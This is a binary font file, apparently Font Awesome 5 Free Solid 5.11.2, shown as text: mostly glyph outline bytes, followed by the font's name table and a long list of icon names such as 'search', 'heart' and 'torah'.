FF'--[%%@@@`@MN	?JJp%  %`        0 L T \   "&462#!"&5463!2";26=654??6/76/&'&5!"3"&462			

)77)FB/ 	@	 GGbbFFbbw			8				4
	7)@)7& 		 ++**@8			        #  !2#!"&=46;'&?676%3p				5	
))
	5t	 		 	JJ		88		J      - 7 ? G  327+"&=32+"&54&"&4632>?"&=264&"264&"#!*	 	 	&(833@8P8@			Y			 &		`	& 8(V'`@(88(@P							   7  #546;2#54'#5##5#+"&=!+"&="&?63!2p0K5@5K0(000(N	 	 	 	
j@5KK5.p		pp		p      B  <  %+"&54674&5463263276&'654&#"&'&54632W*/!(8$8(,&5T%8(
qO#)m_.!/8(1
(8&'A$(8PpF)F[       D Q  %#!"&54674&454632632%&?'&4?'&676276&'&"74632.?$8((84%B."6&R	L	SS	X))X		!\B1#)
;'z
1(88(&6.B$
&	X))X	SS	Y!B\.#1$D/  
      ' 0 : E K O  7'"&?&=46&63''&4?6#76276/&>2".=7#'3'klMArQ	=m__}LPujddd8.BY1b	zbWBߜŰ      #  '&4?66&='46/&5    R
ww
e&]

mt

]&          ;  2+'54632264&"3+"&=#+"&=.5462	% 57				@		@	$`	 %$.
0			Y6		pp		
1     C I  7&?>#"&?#!"&547>7.='&4?'&6;2+"/#77		u*x[ #H0
GUZ-3<<>
K	@uW+*)EB<#/@
_6m
2
c	

	%      .  &#"+"'&7'&54>32?547>323HV(	#2"(?).F3I	X!
)#"	(VO?           0 @ P ` p       7+".767>%+"/&67622+"&=4632+"&=463/.7676"'&'&?6#''&'&?>2+"&=4632+"&=463'62+"5'67+"5+"5a%*%@		`		`		`				S*S
*S		$*I		`		`		`		

@.+hh	@		@		@		@		3$3+.
3	Z	@		@		@		@	        - O h q  ;#!"&546;54+";2=4+"&=46;22654/&54;2=4+"+"374+"276=4+"&57#532



`		,`$$y
8



 	 	`x7''7
     D P ` p  #"546;2!5'&=;27;2732?>72=4+"&546;2'&+546;2"&=46;2#3"&=46;2# 0	 	$ %   #	p&  	 			 		@		 		 		X'$@@%5N	(			%?p										     & .  6/&/&"/&&546264&"264&"Rt
+))+
lqQ	0..0	Pv  G  '  %/&?'/&='6276"&47%;Z$1Z//-	14% Z	1-//-$1%4          ' / m x          32#54#32#54;2#54;2#54#54;2!32#54!2+32#!"&=46;5#"&=46;2;546;2326=4636"&546?"&546?%".546?"&546?"&546?2"&546?"&546?"&546?"&546? 8  H ` H 	8(		`		(8	 		 		(
C2(
 xxxxxxxxxxxx	p(8@	 		 	@8(p		p		p	 

'

' 

'0

'

'

'

'

'

'       $ ,  !2#!"&=4637#7>?#?/7?/		 		o8V@@  @    	 		 	@ "	k

   @@         J R  7#"'.7/.?>2+"&=#"/1"&='&54?>3235463&"&462Q#4@:!			0
/W	 /#	\((5eb"+				P/SSV
k/	@((     > F  2#+"&=#+"&="'+"&=4632546;2632>264&"E	 		@	3z3	@	pPI7

#			`\ 		 		GG		B^)1

	P			     A K S  &/0+"&='+"/&54?&5457+"&=4636;46;2264&"@
! 	@		B		4$+K5x	G			sM
	&f-!		@idD)8		8$4!5K	 			   G  4  3+'7'#"&=265%/&/&7%62546;2 	(h<h%	
 e	@	M	7@w@I	H



Z4		    Z  %#32+;2?6+".'&7#"&=46;7#"&=46;7654&+"&/&6?6;232pd"			T	%O#	*		d"			T	%O2*		 	 				
.0	 	 	 				
.0	 	        ! +  2#"/&"#"&7676276'&"276'&"AJ2??&'&@OarJO^!		!^!		1^!		!^!		mIWH8&&8P`,)))))))      #!"&'&5476273{	 
"
f&@U	
	L&@     K O S W  %+32+"&=46;5!32+"&=46;5#"&=463!5#"&=46;2+!2%35#5#!5#	h8888h		HH	@``	((((		((	x@@@@@    > F N  2+32+'32+";2+"&'&76=46;76;2"264267#7`8(\7	PK@			pl0(pP89			Mwf (82n	P			%*&.PpX			W;7           2"&=4$"6265427&"ړԖPpII99:R>b;SS;b>/!**!Z       B   "&462+"&46;%2+"/#"'.?'.?'&.6?6$((
 MC6 >U
%(
'%,G*`(()N$	fW2.W
(5       
  &  2#"&=4&54'!2!!2#!265(P	 -P(8 P	B.(8P	@&'p8(  	.B8(   # 7 ? G  /&/&6?'.?>76'.5462+"&76"264&"264 &TxT& ~
ZZEEZZE:"5KK5":

       &?6S	
M	
=
	9
  G  o   '&54?>#/#+"&='"&547+"&=4?#/&?6;'&/&?637>23?632/&6?6#'&'		0/=		J7R7J		=/0		4
NE
5		2=$
$
$=2		5
EN
s6NH(		Ha	N		Iw(==(wI		N	aH		O	P		L44L		P	HN6	   @  $ , 4 < D L  !#!"&7>=46264&"264&"264&"264&"62"&4264&"	
	8			I			I			I			P88P8S:J)1	Pp															ppp%6%%6       m u z  $2"&4264&"2&#"#+"/+"&=&'"/&4?&'#"&=46;67'&4?6546;2354762 264&"73'#H44H4Nh	3;$Q		,				8f	oB//B/fn)kp4H44H<3	30				,	(.$

( /B//B``      
     ( <  #>32#7"&547367#'547"&%2+'72+654&+'327ZR@(\gB6jKbP0 *q7OP/!F*#L#D$,P2K55w0*=)D(`O7*!/`         $ ,  2+"./&"+"&5463264&"264&"`: e6%%6%e6%%6%	==@%6%%6%%6%%6    
   A [  72#"&'&6;232>'.+"&=4635"&=463!2676&#"+".7>#2&'&6;23264&+&'%9:+#5
 
				N !26(	:-06D/+H
"
t/$,A,"

		 	 	 	
	'(.G T7.
+'(&       '"/&4?>7&?67'M5ZN#LzZzwL#NZ5M^zZz         - W  62"&4$2"&4'#"'"'#"'&7&47&66266+&'&#&""#"&5467&54632632:12((((G2$2#8(+	<	+(8%B. 5%!/(`((((22#$P8
	8(2

.B!/!	     B  8 E R _ l  %#!"&5467<146326326#"&"'.'&'>32#"'&?>#"'&?>#"'&?>#"'&?>^%/! !/%8(1,+E+T:%2$	%[$	%[$	%[$	%,!//!,(8(%5#+:P
5.@@@@@@@@      + ; J  2#!"&5467&54632632:62"&546762#"&546762"&54>(88((8%B. 5%!/"(""""(@8P88(2

.B!/!	23232         ) 7 E c  6#"'.?>#"'.?6&#"'.?6$#"'.?6&#"'.?672#!"&5467&54632632:@	@m@	@@	@@	@S@	@;(88((8%B. 5%!/Qpppppppppp8P88(2

.B!/!	  @  E P ] j w   %#!"&5467<146326321&?'&4?'&6762760"1"&7&54632#"'&?>#"'&?>#"'&?>#"'&?>%/! !/$8(1";GGK##K	% Ib&D$	%[$	%[$	%[$	%,!//!,(8(5K##KGGP&
@@@@@@@@  1 J c |   %'.'!'+"/&?67&'.7676326&#/&""?65'76&#/&""?65'76&#/&""?65'5!+"&=#+"&}		6&
	K	+*
Q&C


`	@		@				Nl#	c#	+**Q$ 





퐐		PP		       1 U ] e m y  2+"&54327.5>7327&'.5>7&'327&'.5>676.264&"6264&"264&"7264&"	 	,>&3=1S?AW3+O-%>&3=+O-%&.T,+O-.	5!6H+O-%&.T,1N.1(A( 4$)							I						0		$
E	V>		
=	t!E		
	(			/	

9	

/	

       ! ) 1 9  6"&4?6766264&"62"&42"&4	 '-9r9DZjKKjKSI			
aZ.@>9r9BL ^KjKKjuM			     @ 	 5 = R Y f  53+"&2+"/#".='0&5#".=46;2&"&462753"&5#"&'#"&?'46;#%2+"&5@	 	 :)			&-Y(( @`	 	0		Q=8		8+e		`&-`((D `0		       M  %2#"&?#".576;27+76'&+76&+"#"&5467&546;2654'632324X;
D|+/!D0!/+
&!/	(8&p	ax
	Ao.!/"x/!.&/!8(&      @  < Z  6+"&=4&'&+"&=466+"&=4&'&+"&=466+"&=4&"+"&=46SS	 	oSf	 	lW	 	B19T	 	_N5 	 		 	+KQ		Ve		tZtV		3NM8		JrW0				#9      	 " ; T   !546;26&/&"?6/76&/&"?6/76&/&"?6/2'.=#+"&=#+"&=!26=463 ^BB^	)) 	`		`	 			 @@B^^,	@'1 +p		PP		p		@	      / G  %2#!"&=4632+"&=463!2#!"&=463'"&4632632632+"'p				@				 				P<TT<=++=(D.BB.<%^%P				`								TxT--*"B\B            / A   2"&4264&""&54754622654'54&"7"&54675462xP88P8S TxT B\BB/ ( `(		8P88PH(2<TT<1).BB/!((!N		         / A   2"&4264&""&54754622654'54&"7"&54675462xP88P8S TxT B\BB/ ( `(		8P88PH(2<TT<1).BB/!((!N		      + ;  %2#!"&=46;#"3!2=4+5!4>3!2?6/&'&`@



 	@J_)``@@@@	K^)     @ , X   %#&'"'"'"&=46767>7>7627#&'"'"'"&=46767>7>7627#&'"'"'"&=46767>7>7622+$)l+)l+)
!
X

Y
!+$)l+)l+#,
!
X

Y
!+$)l+)l+#,
!
X

Y
@	 	 					 	 					 	 				       % =  "&462#"/&4?7#"'.?'6#5&/.>2?6B//B/
0	.=u.	0
)) )'b') /B//B'!
@9339@
!'  

 		        2 : B  !46762+"&547"'"&54>7&5!5463 264&" 4&"2o 0+!h		0<"/B/!F!/B/<&`6`"
\	 	@K8+!//!		!//!!8K@&    B 
    g o  "&'62&.'632767632&7'&'&'&''&4767>.&76767&547632>54'&6264&" 	'V'	%,54,$k6+`2+=66>+2`+6
)F2!7 )
((P

P/C**C/P =	Xb	  bX= ?13H!8"0@((       4 I  7&=46;22654.'&=467+"&5.'.=46+"&5.'".=46:D	<)Ej
0
(	0z	 	a	
Sv	 	S9
d=)<	WD


2z
	a	 	`vS
:R 
    	  7  !#!"&7;26=4&+"%2!546;546;23546;2@	`		`	P@0	 		 	`		`		000		00		0      	  7  !#!"&73!26=4&#!"%2!546;546;23546;2@	 			P@0	 		 	@		@		000		00		0  " ) - 1 5 ; C  #"/&67%>'&#"#"/&6?63267'7'?'?'77&'67')6
 a				!%,.O=<<Q	-
$=d9w!6718>='''.		      *  '&&'&7276/>76/&67*."'f9137SDX!"&#b.&291B		
28 &"!XD   
 + ; K [ _ o      %#!"&=4?>;5#"&=463!2+32;26=4&+"";26=4&#'#";26=4&'35#26=4&+"3;26=4&+"54+";2754&+";26754&+";26	@U`		 		`				 				0				(				 								0				E[	[@	`		`	@				G				P				 				@				x				W				       + @ V  72/"/&4?'&637"&=46762#/&=46;26+"&?'&4?62
cc!
cc!cc
p
p!cc
p!cc@
p!cccc!p
p
cc   B     C  #'32%#73#5"&?6;2++"&=!+"&='#"&=46;'!0ac	~~	c			 		 			  ``@	 						 	        	  % ? N ^  #53##7/32210'&/&"&?6;#+"&='#"&=46;'%"&54676>'&'&'32=d~!c'	c51	 			%4^^D4('?3&XH
>`` K7H6			 	 !`A]]A&m/$(?/S!('1         3  2+5##5##5##5##"&=46;546;546;232		P @ @ @ P		0	0		0	 				0	0		0	0       7 > E e o y  7#"&546;'&?6'&6?67>763253#"&53#2#5+#546;&54632632#3&#"7654&#"36				  		)( 7!!7 (5		5`		66`` ``,KK,0		0  9 = A  %'&6?'#"&/#"'/&7>7.?>76767'7''(??(''%WrrW%'_$p$_C	h.'KK'.h	C	fW(
00
(Wf	 G'@..@'      2#!".'&63!!889e@       c s   2"&44&#"+;2=732;2?6;2;2=4?6=46;2+";2;6$;2?6=4&">7#"/&+'&+";2ΑΑuS(	

	% 

		 
	}5W	+ +	ΑgSu	
	
		
			!
	8-
%
      `      %2#!"&=463%2#!"&=463		 				 			 		 		 		 	          +"&546;2+"&546;2`	 		 		 		 	0				 				      + 3  .767>7676?6?62 264&"		/$L##kS#&"7L/		((		/L7"&"Sk##L%/		((    "/&6?>'7'6$!!$"b&`0`"&a"v%i((i%#W@@h#       @ j  "&4622462"&"&462&54'&>367>'&'&636762'&'.7676&'"'6'&5<546((@(((((@	72		94	27	
	49	 ((((`((=3
:2	1:+3	
      / 7  %+"/#"&'.+"&=4>?6264&".	3
./	7")%B0
0%zt(	@ &RQ?bU;K
6!8     "'"/"/"'&63!2WB.".,$W,l}     @      ' 0 8  !>32#47%#534'3+#."#553#"&62#54@'~J`Bp?B 2:F:2P8~;EC=_=C@` ## ``8(``(      %2#!"&=463$!'&>76p				e(H0@te 	@		@	"5W:e@:         ( : B  &'&'&6;2+"7&'&'4>;2+"2++"&=463264&+#

n#
.BB.8((8p.#1,#1, B\B(88((`       " /  %4'7>#"'.?2&"&462%"&5>76H&Q,6	Q7|7Q-((	6,Q&, `8
D ((
8` ,        & . 6 >  %4'7>#27"'.7'"&7676"&462"264"&4628*4$*"H"C
4*ΑΑlll#C*B6

Cy
B*C#Αllll         ) 9 V  "&462"&462++"&=#"&?6727%2+"&5463++"&=#"&=46724&&4&Z4&&4&?7
0
7.8		 		|

P

8@&4&&4&&4&&4h

h	 			



   7 ; ?  %"//"&46327'&67>7'&4?62762%7'7'		a		P
kl'Z(
Q		a		P0

/

0EIEIEI		a		Q
(Z'lk	Q		a		Q0

/

09EIEIEI      - B  7.7>7&5462#"'+"&5.'.=46+"&5.'".=46t9b uz	 	a	
Sv	 	S9
fta9u>z
	a	 	`vS
:R 
         2#!"&575#35#35#@&& & 000&&&@``````         # * . 5  46;#!"&575#354&+326=#35#;5'!5%35#"&& &@  @ @  @ &&&@@ @@ @@ @`@@@ @     ( 2 O   2"&42+"&46;264!6"/&627"&4?"&46;2"1"&='&6?|(()	`		`	'DD=\		0R=N((\				DD	\	
1S=YSN8     $ C   "&462#"'%.>7'&776'&76776/&//'((%x			.Kk(
1#>R04	: s/`((fEK5(#JFa 3		9    @  . B N   "&4622#!"&46;0&5&6?63232647'.?'&3737#"/d((* 

+6
(%,G*,F
U
%'4>+! =`((
*
(5"Q2.W

[)N$	L     C  %#!"&=463!2654/&?6%5"&46;2;26=32###5##5.e,			



&"	/= &`8(@@*6a&'		

w	,&@`(80004E       6 W y  2#"'#"&'&>7&542654/&54;2=4+"+"3754&+"'&+";2=2?;232654/&54;2=4+"+"3Ԗj83AL9	

	
0zz319JVh		##		hD88D      E Q   "&462'76#"'%&'&>&'&6?54?'&/&>#"'&7((TB4Z		!&J#*		?o
<U`((?'f"!			5(:4S
--=

    T \ d l t    +"'.547&507'.?>54>;2167&5462704=46;276$264&"264&"6264&"6264&"7654&"6264&"!	#%c!&,	8	8P8	8					)																(7"-.QC(?,7	.!(88(".		*						7			7			O			2			        [ ` l  62"&462"&462"&462"&4"/&=##!"&54>7546;546;2354?623'264&#!"3n^^^$%)+B. .B O@)%$@zD: H#%$*:.BB.(	[p3:*$% f S`@((        2++"=#"=43%2#!"=43t8h 8888      % 1 9  #+"&?.5475#"&=463!2;2=4+"264&"p /((/ 		`		006tRRtR2TGGT2				   / 9 A  %"/.7'#'76'"'&7>76'&"&4?264&"5
uk>`@k04R*I%JDK	|5%u45u0k@`>k6R=+	KDJ$JR {%5   ) - 1 5 =   "&462232#!"&=46;5"#"'&67%65#%35+3"&462-` ```c<\S;``````           "&54676>'&'&'32D4H_I9*
$:\K8+0+__6D5: Y'	Cu ((8E    A , X  7'&67670767>767632%"#"/67>7>7>7675#$	
$7E #3
	%.&%
L	
$7E %C(
	%.
	 !5#p!#
J$'

	%
%&!
J6'/

	%&!!	!       2 :  %#!"&5463!2;;2=32=4+54+"#"5!"3

)77)F808808Z	4
	7)@)7088088@    @   2##!"&5".546 AoH(#	2;  	>k       	   5!#!"&5!%630 @,Y{ Z   A  , H  3#!"&=26554+54+"#";;2=327#"/&"#"/&547%62 	`	;808808 M		D088088

       0  2#"'#"547>7&5454+54+"#";;2=32Ԗj83AL9`808808zz31:IVn088088     % .  "/&4?627"/&4?6?7'767-nxffn-7
D
P	7-nffxn-7{
D
	P         2"&546b]2pp2u7PppP7          ' / 7 ?  %2#!"&4632#!"&=4637"&7>2#&"264&"264"264`	&&	~~>									((	&&	42BB24p			)						     @  %+"&/&=46?2=4>3762=463212=464/	

'$S4J	L  2	         #  %!5467546;272#!"&=463@B5)	`	)5B		 		@@;aRp		pRa	 		 	      A K U  #"&5467>264&"2767>7>7>7>76'.?6&/		
"!/
`
!!(	 ' ' 	 ' ' |33!

/!"
`	i
' ' 
' ' 33         2#!"&46;&5462'!"&pTxTc c ((<TT<     % ) A  7"=4;54;232++"=%!463!2!2#!"&=46;;26780880  @	& &	=088088P  `	&&	         # 3  2#!"&54635#"3754&+326754&#!"3!26&&&&`P			PP	@& && &0			0	@@      1  %3#"&4632>77'#5'6326'&54?632Kk%KjL!!1$56YK$(
'"G@)!.!#+2-,&B9N"+$7         & . 6  .'7>#"&5476264&"6264&"264&"Zb9R]
3XK
rC{	_Y]P9qJVi
L{       	  7  !+"&7;;26=326/&"72#!"&=46;76;25E9	 	9Z		`		x	r	Sp		p^	 		 	     	  7  !#!"&7;;26=326/&"72#!"&=46;76;2 [9	 	9Z		`		x	r	Pp		p^	 		 	        7 ? N  7"&547676=7+"'7;;2=32=4+54+"#"26=#!"&5467:	

R%^%,(/B/6K""K6_	<$)1001)$<  ] !//! N6""6N_     -  #"&5#+"&=46;546;23546;2+ܘ`		p`		p \	 		 	     ' / 7 ? G   "&462'"&='&54?63232+"2"&4264&"$2"&4264&"((4);*Rp		G5@6jKKjKf4&&4&jKKjKf4&&4&`((!2
o6
	`9 KjKKju&4&&4KjKKju&4&&4           2#!"&5463#3'#335#35#`@         / ? O _ o         /?O  72+"&=46;2+"&=46;2+"&=463!2+"&=4632+"&=46;2+"&=46;2+"&=46372+"&=46372+"&=4632+"&=46372+"&=4632+"&=4632+"&=46;2+"&=46;2+"&=4632+"&=4632+"&=46372+"&=46372+"&=46372+"&=46;2+"&=463		 				 				 		 		 				 				 				 		 		 		 		 				 		 		 		@		 				 				 				 				 		 		 		 		 		 		 		 		 				 			 		 		 		 		 		 		 		 		 		 		 		 		 		 	`	 		 		 		 		 		 		 		 		 		 		 		 		 		 		 		 		 		 		 		 	`	 		 		 		 	`	 		 		 		 	       / ? O _ o   72+"&=463#2+"&=46;2+"&=46372+"&=4632+"&=4632+"&=4632+"&=46372#!+"&5463		 		@		 				 				 		 		 		 		 		 		 		 			 	 	 		 		 		 		 		 		 		 	`	 		 	`	 		 	 	 		 	`	 			     $ ,  2/&?#"&'&6&546766264&"a=Z{%A'#*=Z{Q<#D@Q<#*(E-{Q<#*=Z{     . 6 L j  7'&6767>"2+"&=46;7>;2264&"%2"&?#"&?6;26"&46325"&46325467ua5

5a
0H[,,\>L'&5%%p&5%%c>>c`


,,VSk	3`(0l(k        #  %#" 54>?6327632
	h0	<h21Vh	
p12h<	     /  2#!"&5463454/&#".'7654/&#"#327P	FA&
Ax`
&AF	x        ( 4 @ P X _  2+##546354+";254+";2=4+";2=4+";22#!"&5463"2645''`H				`												M ` @@@`g						q			q			0 @`` @         ; ?  %2+"&=46;7#"'&54?6325463!2+"&=#'7#P				 C	5s			 	v1C v 	 		 	P4*Y,		`		 4`    5 O R  72"/&6;46;27"&=4?#"&=46;232#+"/#+"&54?6;23'PP0	 		=8			=8			G	;*4 ```0		Ѐ	
F	 		
F	 			e0   5 O R  "&?62++"&5"&=4?#"&=46;232#+"/#+"&54?6;23'PP0	 		=8			=8			G	;*4  ``		0@	
F	 		
F	 			e0        / ? U  "&=46;2#"&=46;2#2#!"&=4635"&=46;2#!2"/&6;46;2		@		@						 						 PP0	 	`	 		 		 		 		 		 	@	 		 	``0		     / ? U  "&=46;2#"&=46;2#2#!"&=4635"&=46;2#%"&?62++"&5		@		@						 						`PP0	 	`	 		 		 		 		 		 	@	 		 	``		0      5 J R  72"/&6;46;22+"&=46;5#"&54?6;26&/&767.7>264&"PP0	 			`			
0	6(>*,
	$+
!```0		@	 		 	@	 		p}1'3>=&\      5 J R  ++"&5#"&?622+"&=46;5#"&54?6;26&/&767.7>264&"kP0	 	0P)		`			
0	6(>*,
	$+
!`		0`	 		 	@	 		p}1'3>=&\     A   ' D G \  %"&=46;2#'3264&#3264&#'+"/#+"&54?>;23'"/&4?62762		K 2	
2!3(

(8

D	X	D		?.p-7		*	# +0`0	$$	
Ep-8     @   &  2#!"&4623.546264&"264&"<TT<<TTxT
p
T/B//B`B//B/@TxTTxTT<//<ToB//B//B//B     5  %"'63227632".'&5463232>7632GG';(;4BttB4	!47K'6d?7	D5++5D	
     -  %3!"'&7>32#"./&#"7>?632b!-9<&Z:5)=1$+b6@%U!FV ,$	T+A!)      	    =!+"&#546;2#5^B@B^^B@B^`B^^ B^^B            2"&4264&"2"&4264&"V==V=^OΑΑjKKjK(=V==VCΑKjKKj     V         6                                H       &             
 ,v                     3       m                	   4    	  2 Q  	  
   	  @   	  2  	  Lb  	  ,  	 
 X  	  .  	  &  	  
'  	  29  	  &  	  
 C o p y r i g h t   ( c )   F o n t   A w e s o m e  Copyright (c) Font Awesome  F o n t   A w e s o m e   5   F r e e   S o l i d  Font Awesome 5 Free Solid  S o l i d  Solid  F o n t   A w e s o m e   5   F r e e   S o l i d - 5 . 1 1 . 2  Font Awesome 5 Free Solid-5.11.2  F o n t   A w e s o m e   5   F r e e   S o l i d  Font Awesome 5 Free Solid  3 3 0 . 4 9 8   ( F o n t   A w e s o m e   v e r s i o n :   5 . 1 1 . 2 )  330.498 (Font Awesome version: 5.11.2)  F o n t A w e s o m e 5 F r e e - S o l i d  FontAwesome5Free-Solid  T h e   w e b ' s   m o s t   p o p u l a r   i c o n   s e t   a n d   t o o l k i t .  The web's most popular icon set and toolkit.  h t t p s : / / f o n t a w e s o m e . c o m  https://fontawesome.com  F o n t   A w e s o m e   5   F r e e  Font Awesome 5 Free  S o l i d  Solid  F o n t   A w e s o m e   5   F r e e   S o l i d  Font Awesome 5 Free Solid  F o n t   A w e s o m e   5   F r e e  Font Awesome 5 Free  S o l i d  Solid                                  	
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTU   VWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ " 	
 !"#$%&'() *+,-./0123456  #789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrs  tuvwxyz{|}~  	
 !"#$%&'()*+,-./0123456789:;<=>?@AB CDEFGHIJKL MNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ 	
 !"#$%&'()*+,-./0123456789:;<=> ?@A BCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~glass-martinimusicsearchheartstaruserfilmth-largethth-listchecktimessearch-plussearch-minus	power-offsignalcoghomeclockroaddownloadinboxredosynclist-altlockflag
headphones
volume-offvolume-down	volume-upqrcodebarcodetagtagsbookbookmarkprintcamerafontbolditalictext-height
text-width
align-leftalign-centeralign-rightalign-justifylistoutdentindentvideoimage
map-markeradjusttinteditstep-backwardfast-backwardbackwardplaypausestopforwardfast-forwardstep-forwardejectchevron-leftchevron-rightplus-circleminus-circletimes-circlecheck-circlequestion-circleinfo-circle
crosshairsban
arrow-leftarrow-rightarrow-up
arrow-downshareexpandcompressexclamation-circlegiftleaffireeye	eye-slashexclamation-triangleplanecalendar-altrandomcommentmagnet
chevron-upchevron-downretweetshopping-cartfolderfolder-open	chart-barcamera-retrokeycogscomments	star-half	thumbtacktrophyuploadlemonphonephone-squareunlockcredit-cardrsshddbullhorncertificatehand-point-righthand-point-lefthand-point-uphand-point-downarrow-circle-leftarrow-circle-rightarrow-circle-uparrow-circle-downglobewrenchtasksfilter	briefcase
arrows-altuserslinkcloudflaskcutcopy	paperclipsavesquarebarslist-ullist-olstrikethrough	underlinetablemagictruck
money-bill
caret-downcaret-up
caret-leftcaret-rightcolumnssort	sort-downsort-upenvelopeundogavelboltsitemapumbrellapaste	lightbulbuser-mdstethoscopesuitcasebellcoffeehospital	ambulancemedkitfighter-jetbeerh-squareplus-squareangle-double-leftangle-double-rightangle-double-upangle-double-down
angle-leftangle-rightangle-up
angle-downdesktoplaptoptabletmobile
quote-leftquote-rightspinnercirclesmilefrownmehgamepadkeyboardflag-checkeredterminalcode	reply-alllocation-arrowcropcode-branchunlinkinfoexclamationsuperscript	subscripteraserpuzzle-piece
microphonemicrophone-slashcalendarfire-extinguisherrocketchevron-circle-leftchevron-circle-rightchevron-circle-upchevron-circle-downanchor
unlock-altbullseye
ellipsis-h
ellipsis-v
rss-squareplay-circleminus-squarecheck-square
pen-squareshare-squarecompasscaret-square-downcaret-square-upcaret-square-right	euro-sign
pound-signdollar-sign
rupee-signyen-sign
ruble-signwon-signfilefile-altsort-alpha-downsort-alpha-upsort-amount-downsort-amount-upsort-numeric-downsort-numeric-up	thumbs-upthumbs-downfemalemalesunmoonarchivebugcaret-square-left
dot-circle
wheelchair	lira-signspace-shuttleenvelope-square
universitygraduation-caplanguagefaxbuildingchildpawcubecubesrecyclecartaxitreedatabasefile-pdf	file-word
file-excelfile-powerpoint
file-imagefile-archive
file-audio
file-video	file-code	life-ringcircle-notchpaper-planehistoryheading	sliders-h	share-altshare-alt-squarebombfutboltty
binocularsplug	newspaperwifi
calculator
bell-slashtrasheye-dropperpaint-brushbirthday-cake
chart-area	chart-pie
chart-line
toggle-off	toggle-onbicyclebusclosed-captioningshekel-sign	cart-pluscart-arrow-downshipuser-secret
motorcyclestreet-view	heartbeatvenusmarsmercurytransgendertransgender-altvenus-doublemars-double
venus-marsmars-strokemars-stroke-vmars-stroke-hneuter
genderlessserver	user-plus
user-timesbedtrainsubwaybattery-fullbattery-three-quartersbattery-halfbattery-quarterbattery-emptymouse-pointeri-cursorobject-groupobject-ungroupsticky-noteclonebalance-scalehourglass-starthourglass-halfhourglass-end	hourglass	hand-rock
hand-paperhand-scissorshand-lizard
hand-spockhand-pointer
hand-peacetvcalendar-pluscalendar-minuscalendar-timescalendar-checkindustrymap-pin	map-signsmapcomment-altpause-circlestop-circleshopping-bagshopping-baskethashtaguniversal-accessblindaudio-descriptionphone-volumebrailleassistive-listening-systems#american-sign-language-interpretingdeafsign-language
low-vision	handshakeenvelope-openaddress-bookaddress-carduser-circleid-badgeid-cardthermometer-fullthermometer-three-quartersthermometer-halfthermometer-quarterthermometer-emptyshowerbathpodcastwindow-maximizewindow-minimizewindow-restore	microchip	snowflakeutensil-spoonutensilsundo-alt	trash-altsync-alt	stopwatchsign-out-altsign-in-altredo-altpooimages
pencil-altpenpen-altlong-arrow-alt-downlong-arrow-alt-leftlong-arrow-alt-rightlong-arrow-alt-upexpand-arrows-alt	clipboardarrows-alt-harrows-alt-varrow-alt-circle-downarrow-alt-circle-leftarrow-alt-circle-rightarrow-alt-circle-upexternal-link-altexternal-link-square-altexchange-altcloud-download-altcloud-upload-altgemlevel-down-altlevel-up-alt	lock-openmap-marker-altmicrophone-alt
mobile-altmoney-bill-altphone-slashportraitreply
shield-alt
tablet-alttachometer-alt
ticket-altuser-altwindow-closebaseball-ballbasketball-ballbowling-ballchesschess-bishopchess-board
chess-kingchess-knight
chess-pawnchess-queen
chess-rookdumbbellfootball-ball	golf-ballhockey-puck	quidditchsquare-fulltable-tennisvolleyball-ball	allergiesband-aidboxboxesbriefcase-medicalburncapsulesclipboard-checkclipboard-list	diagnosesdnadollydolly-flatbedfile-medicalfile-medical-alt	first-aidhospital-althospital-symbolid-card-altnotes-medicalpalletpillsprescription-bottleprescription-bottle-alt
proceduresshipping-fastsmokingsyringetabletsthermometervialvials	warehouseweightx-raybox-opencomment-dotscomment-slashcouchdonatedovehand-holdinghand-holding-hearthand-holding-usdhandshands-helpingparachute-boxpeople-carry
piggy-bankribbonrouteseedlingsign
smile-winktapetruck-loadingtruck-movingvideo-slash
wine-glassuser-alt-slashuser-astronaut
user-check
user-clockuser-cog	user-edituser-friendsuser-graduate	user-lock
user-minus
user-ninjauser-shield
user-slashuser-taguser-tie	users-cogbalance-scale-leftbalance-scale-rightblender	book-openbroadcast-towerbroom
chalkboardchalkboard-teacherchurchcoinscompact-disccrowcrowndice	dice-five	dice-fourdice-onedice-six
dice-threedice-twodoor-closed	door-openequalsfeatherfroggas-pumpglassesgreater-thangreater-than-equal
helicopter	kiwi-bird	less-thanless-than-equalmemorymicrophone-alt-slashmoney-bill-wavemoney-bill-wave-altmoney-checkmoney-check-alt	not-equalpaletteparking
percentageproject-diagramreceiptrobotrulerruler-combinedruler-horizontalruler-verticalschoolscrewdrivershoe-printsskullsmoking-banstore	store-altstreamstroopwafeltoolboxtshirtwalkingwalletangryarchwayatlasaward	backspacebezier-curvebongbrushbus-altcannabischeck-doublecocktailconcierge-bellcookiecookie-bitecrop-altdigital-tachographdizzydrafting-compassdrumdrum-steelpanfeather-altfile-contractfile-downloadfile-exportfile-importfile-invoicefile-invoice-dollarfile-prescriptionfile-signaturefile-uploadfill	fill-dripfingerprintfishflushed
frown-openglass-martini-altglobe-africaglobe-americas
globe-asiagrimacegringrin-alt	grin-beamgrin-beam-sweatgrin-heartsgrin-squintgrin-squint-tears
grin-stars
grin-tearsgrin-tonguegrin-tongue-squintgrin-tongue-wink	grin-winkgrip-horizontalgrip-verticalheadphones-altheadsethighlighterhot-tubhoteljointkiss	kiss-beamkiss-wink-heartlaugh
laugh-beamlaugh-squint
laugh-winkluggage-cart
map-markedmap-marked-altmarkermedal	meh-blankmeh-rolling-eyesmonumentmortar-pestlepaint-rollerpassport	pen-fancypen-nibpencil-rulerplane-arrivalplane-departureprescriptionsad-crysad-tearshuttle-van	signature
smile-beamsolar-panelspasplotch	spray-canstampstar-half-altsuitcase-rollingsurprise
swatchbookswimmerswimming-pool
tint-slashtiredtoothumbrella-beachvector-squareweight-hangingwine-glass-altair-freshener	apple-altatombonebook-readerbraincar-altcar-battery	car-crashcar-sidecharging-station
directionsdraw-polygonlaptop-codelayer-group
microscopeoil-canpoopshapesstar-of-lifeteeth
teeth-opentheater-maskstraffic-lighttruck-monstertruck-pickupadankhbiblebusiness-timecitycomment-dollarcomments-dollarcrossdharmachakraenvelope-open-textfolder-minusfolder-plusfunnel-dollargopuramhamsahaykaljedijournal-whillskaabakhandalandmark	mail-bulkmenorahmosqueompastafarianismpeaceplace-of-worshippollpoll-hpraypraying-handsquransearch-dollarsearch-locationsockssquare-root-altstar-and-crescentstar-of-david	synagoguetorah
